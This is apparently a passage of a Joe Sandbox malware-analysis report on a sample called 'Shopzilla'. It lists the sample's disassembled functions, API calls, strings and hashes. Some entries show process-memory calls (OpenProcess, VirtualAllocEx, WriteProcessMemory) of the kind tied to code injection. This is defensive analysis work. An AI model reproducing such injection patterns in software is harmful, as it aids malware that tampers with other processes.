Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 395d389b701dbcc2647af6fb423b93794283a3f7d967d32134127e6bbe6619d7
Instruction ID: 6661e1f83d241aa1e40fc72fbebac218bcaa0e4ff558005047c06c2647cadcad
Opcode Fuzzy Hash: 395d389b701dbcc2647af6fb423b93794283a3f7d967d32134127e6bbe6619d7
Instruction Fuzzy Hash: DEF0EC71018608EBDB659F2AED5C75D3FA4E706326F148254F42A9A0F0C7714995DF10

Function 00C0C847 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00C0C8E2
CoCreateInstance.OLE32(00C33D3C,00000000,00000001,00C33BAC,?), ref: 00C0C8FA

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

CoUninitialize.OLE32 ref: 00C0CB67

Strings

.lnk, xrefs: 00C0C876, 00C0C89E, 00C0C8A8

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: 5df0499905edf0bd9e5e2f46c0b23d220aadbb156e8bbd8590bd135c929daa13
Instruction ID: 02198a4de67ba1364654bc29d1fc52f84d39cf554a94df151cca0e7981eb9c59
Opcode Fuzzy Hash: 5df0499905edf0bd9e5e2f46c0b23d220aadbb156e8bbd8590bd135c929daa13
Instruction Fuzzy Hash: 12A13C71108205AFD300EF64D891EAFB7E8EF95718F40496CF15597292EBB0EE49CB92

Function 00BAE3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00BC0F16: std::exception::exception.LIBCMT ref: 00BC0F4C
Part of subcall function 00BC0F16: __CxxThrowException@8.LIBCMT ref: 00BC0F61

Part of subcall function 00BB1A36: _memmove.LIBCMT ref: 00BB1A77

Part of subcall function 00BB1680: _memmove.LIBCMT ref: 00BB16DB

__swprintf.LIBCMT ref: 00BAE598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00BAE431

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 3d05d4ff50da5c37c48aaa7882e20c2ee322c3670145930bd907bb7a1d75872d
Instruction ID: e0ecab9ae99c979c6deec4daaa0c62319959bbd0e5eb1a08eab4870e3338ad31
Opcode Fuzzy Hash: 3d05d4ff50da5c37c48aaa7882e20c2ee322c3670145930bd907bb7a1d75872d
Instruction Fuzzy Hash: F9919C715182019FC724EF28D895DBEB7E8EF96304F40499DF492972A1EB70EE44CB92

Function 00C0BDEB Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC01AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BB2A58,?,00008000), ref: 00BC01CF

CoInitialize.OLE32(00000000), ref: 00C0BE6B
CoCreateInstance.OLE32(00C33D3C,00000000,00000001,00C33BAC,?), ref: 00C0BE84
CoUninitialize.OLE32 ref: 00C0BEA1

Part of subcall function 00BA4D37: __itow.LIBCMT ref: 00BA4D62
Part of subcall function 00BA4D37: __swprintf.LIBCMT ref: 00BA4DAC

Strings

.lnk, xrefs: 00C0BE4D, 00C0BE5B

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: b898a4c7dbc00eb28f6f95dcca9f3a4f5bd52de5d7d39ea464def332cd8bf7f3
Instruction ID: 14ba924e752b633626619f5841cdf057dac81f329d96898dc424ea982dcf1609
Opcode Fuzzy Hash: b898a4c7dbc00eb28f6f95dcca9f3a4f5bd52de5d7d39ea464def332cd8bf7f3
Instruction Fuzzy Hash: F1A135756043059FCB10DF54C884E6ABBE5FF89314F148998F8A99B3A1CB31ED45CB91

Function 00BC516D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00BC51FD

Part of subcall function 00BD0250: __87except.LIBCMT ref: 00BD028B

Strings

pow, xrefs: 00BC51D5, 00BC51F2

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 3ee648933062c9ff0eee77374199c07aa98a4efa22dc02e85eeae186c536dfbd
Instruction ID: 144553736e211ccf59625202f0ae8917ff78cd24211c0699c6cab2207c24469d
Opcode Fuzzy Hash: 3ee648933062c9ff0eee77374199c07aa98a4efa22dc02e85eeae186c536dfbd
Instruction Fuzzy Hash: F9519A70929A0287CB217714DC85B6EBBD4DB40760F2489DEF0C5863A9FF349CD49A5A

Function 00BC057F Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

+, xrefs: 00BC05BB
#, xrefs: 00BC05C4

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 2fd269cc021515431eca59afa873486985c374a5c950f2b676e1a57c1796dca6
Instruction ID: 0f45bb86dfd03cced3313ca566cc026eba2501c6d24700427b9855983a3486f8
Opcode Fuzzy Hash: 2fd269cc021515431eca59afa873486985c374a5c950f2b676e1a57c1796dca6
Instruction Fuzzy Hash: B351217150421AEFDF15AF28C490AFA7BE4EF65310F5440AAFD81AB291CB30DC5ACB60

Function 00BBCF08 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BBCFBE
_memmove.LIBCMT ref: 00BBD05A
_memset.LIBCMT ref: 00BBD07E

Strings

ERCP, xrefs: 00BBCF29

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 480df0d93996e0746530bf3cfe1104755bd9b3bb39a140171801d112300276f2
Instruction ID: 7f7eec62a88c65708989e95337ab11062759df0c99889cecbd1cc4040cb5e486
Opcode Fuzzy Hash: 480df0d93996e0746530bf3cfe1104755bd9b3bb39a140171801d112300276f2
Instruction Fuzzy Hash: E5519371900709DBDB24DF65C8917FABBF4EF04304F2449AEE94ADB241E7B49A45CB41

Function 00BFA190 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00C01B27: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00BF9C31,?,?,00000034,00000800,?,00000034), ref: 00C01B51

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00BFA1DA

Part of subcall function 00C01AF2: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00BF9C60,?,?,00000800,?,00001073,00000000,?,?), ref: 00C01B1C

Part of subcall function 00C01A49: GetWindowThreadProcessId.USER32(?,?), ref: 00C01A74
Part of subcall function 00C01A49: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00BF9BF5,00000034,?,?,00001004,00000000,00000000), ref: 00C01A84
Part of subcall function 00C01A49: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00BF9BF5,00000034,?,?,00001004,00000000,00000000), ref: 00C01A9A

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00BFA247
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00BFA294

Strings

@, xrefs: 00BFA2AC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 34a2cc95883b1aad64e6375f2a3d1889fdbaff510ac246d9148230d6af819d69
Instruction ID: 3d30974c8b8a0f149c52a0dbbfcae25748f16e3b50893d177d3f7619bff43bc7
Opcode Fuzzy Hash: 34a2cc95883b1aad64e6375f2a3d1889fdbaff510ac246d9148230d6af819d69
Instruction Fuzzy Hash: 78412C72A0121CAFDB14DFA4CC81BEEBBB8EF49300F144095FA45B7191DA71AE49DB61

Function 00C277C6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00C2784E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00C27862
SendMessageW.USER32(?,00001002,00000000,?), ref: 00C27886

Strings

SysMonthCal32, xrefs: 00C27819

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 35aea31fcf31ac5624cb3ce1578ebaa78901e0a29b8acd77650751053fb63f6c
Instruction ID: 7fa911068653849ade3a73df56f14c85582237b1dc9958c482e9254c3427e0cf
Opcode Fuzzy Hash: 35aea31fcf31ac5624cb3ce1578ebaa78901e0a29b8acd77650751053fb63f6c
Instruction Fuzzy Hash: 6A218D32614229ABDF11DE54DC86FEA3B79EF88714F110214FE557B1D0D6B1AC50DB90

Function 00C2709D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00C27128
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00C27138
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00C2715D

Strings

Listbox, xrefs: 00C270F5

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: 0dc2a8c0797b2c65b6ef0c4b6deb34d1709d8c441493e960fdc17fb31c9f8684
Instruction ID: b10311e05aba45118389d0af242d1ff38d06470651253a6f03222cd996bc3a16
Opcode Fuzzy Hash: 0dc2a8c0797b2c65b6ef0c4b6deb34d1709d8c441493e960fdc17fb31c9f8684
Instruction Fuzzy Hash: 2221D132614128BFDF158F54EC85FBF37BAEF89760F118224FA149B190C671AC519BA0

Function 00C27AFB Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00C27B5F
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00C27B74
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00C27B81

Strings

msctls_trackbar32, xrefs: 00C27B36

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: bf2f379b5b19f21370b4502b4462009c72efb1aea571964c283321a09ba7ea31
Instruction ID: 88e3ee9a4f5139ba07cd2d39bfe8ada08759cd18356ed66fbf5013a38b060669
Opcode Fuzzy Hash: bf2f379b5b19f21370b4502b4462009c72efb1aea571964c283321a09ba7ea31
Instruction Fuzzy Hash: 8711E332244208BBDF209F75DC46FEB3BA9EF89768F110219FA55A6090D271E851DB10

Function 00BB4BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BB4AF7,?), ref: 00BB4BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00BB4BCA

Strings

Wow64RevertWow64FsRedirection, xrefs: 00BB4BC4
kernel32.dll, xrefs: 00BB4BB3

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 43d2fc2c281414bc94553b517c8246b7542a5aeafd963619a95579d56d05a92f
Instruction ID: 73b52610914390339c88533ba2414c1a4395026103e8d005af9c9e69f27699b2
Opcode Fuzzy Hash: 43d2fc2c281414bc94553b517c8246b7542a5aeafd963619a95579d56d05a92f
Instruction Fuzzy Hash: F3D0C732420B128FD3308F30D818B4A72E4AF01341F208CBAD8C2C2552EBB0C880CA00

Function 00BB4B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BB4B44,?,00BB49D4,?,?,00BB27AF,?,00000001), ref: 00BB4B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00BB4B97

Strings

Wow64DisableWow64FsRedirection, xrefs: 00BB4B91
kernel32.dll, xrefs: 00BB4B80

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 20a1d54f51667984e44e1bc6ab39920bc05085992ad90e4240b637bc19317c93
Instruction ID: 7e73efed64b9386928a9cee392b36b31d763ba972d1adf3c03185c400b51633e
Opcode Fuzzy Hash: 20a1d54f51667984e44e1bc6ab39920bc05085992ad90e4240b637bc19317c93
Instruction Fuzzy Hash: E1D01776520B128FDB309F31D829B5AB6E4AF05751F61C87AD886E2250EBB0E884CA54

Function 00C2120F Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00C2145E), ref: 00C2121D
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00C2122F

Strings

RegDeleteKeyExW, xrefs: 00C21229
advapi32.dll, xrefs: 00C21218

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: cdfecc480ddceab017c38ecb0de0231a8123c5b5041f794e6918646de1ec118a
Instruction ID: 04d22b458b3c3eab98d84737fba0ba78b36623d6ec5713ddecb6a3299b0ac543
Opcode Fuzzy Hash: cdfecc480ddceab017c38ecb0de0231a8123c5b5041f794e6918646de1ec118a
Instruction Fuzzy Hash: F5D0C231450B22CFC3208F31D80870A7AD4AF20382F248A39A891D6550E670C4C0CA00

Function 00BB55F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BB5E3D), ref: 00BB55FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00BB5610

Strings

kernel32.dll, xrefs: 00BB55F9
GetNativeSystemInfo, xrefs: 00BB560A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 14db73e096f5bf0ff3af1f9db2253024f70fa6c4a00170a29cde1a3e042fec3a
Instruction ID: 832ef5282a039828fd1168a3afec4c188afaa7ffda75015c1804b8ddfe36c146
Opcode Fuzzy Hash: 14db73e096f5bf0ff3af1f9db2253024f70fa6c4a00170a29cde1a3e042fec3a
Instruction Fuzzy Hash: 4DD01776930B128FE7309F31C82976A76E4AF05355F21987AD486D2191E6B0C880CE91

Function 00C19592 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00C191A6,?,00C30980), ref: 00C195A0
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00C195B2

Strings

kernel32.dll, xrefs: 00C1959B
GetModuleHandleExW, xrefs: 00C195AC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: aee2bda4cae19d102d8a5cabce9b5a233627456668002d655b6eed08d9212b4e
Instruction ID: 4b09eba6807dac93f8ff9584f2075e436a645c6c8c26258e25ec7989beda0817
Opcode Fuzzy Hash: aee2bda4cae19d102d8a5cabce9b5a233627456668002d655b6eed08d9212b4e
Instruction Fuzzy Hash: 70D01276520712CFD7319F75D82974A76D5EF06352F218D39D896D2150D6B4C5C0CA50

Function 00BF7B7E Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72e95aee6af4b15ff88c053ce32aa0b18142728aab4fdaa287b733215ba99fd9
Instruction ID: a1ca02b5011c4b0fcc76657c91edd914a5ce373c4d65ac7d347df798e4526180
Opcode Fuzzy Hash: 72e95aee6af4b15ff88c053ce32aa0b18142728aab4fdaa287b733215ba99fd9
Instruction Fuzzy Hash: AAC14975A0421AEFCB14CF94C884ABABBF9FF48714B1185D9E905EB251DB30ED45CB90

Function 00C1E4DB Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00C1E56F
CharLowerBuffW.USER32(?,?), ref: 00C1E5B2

Part of subcall function 00C1DC56: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 00C1DC76

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 00C1E7B2
_memmove.LIBCMT ref: 00C1E7C5

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
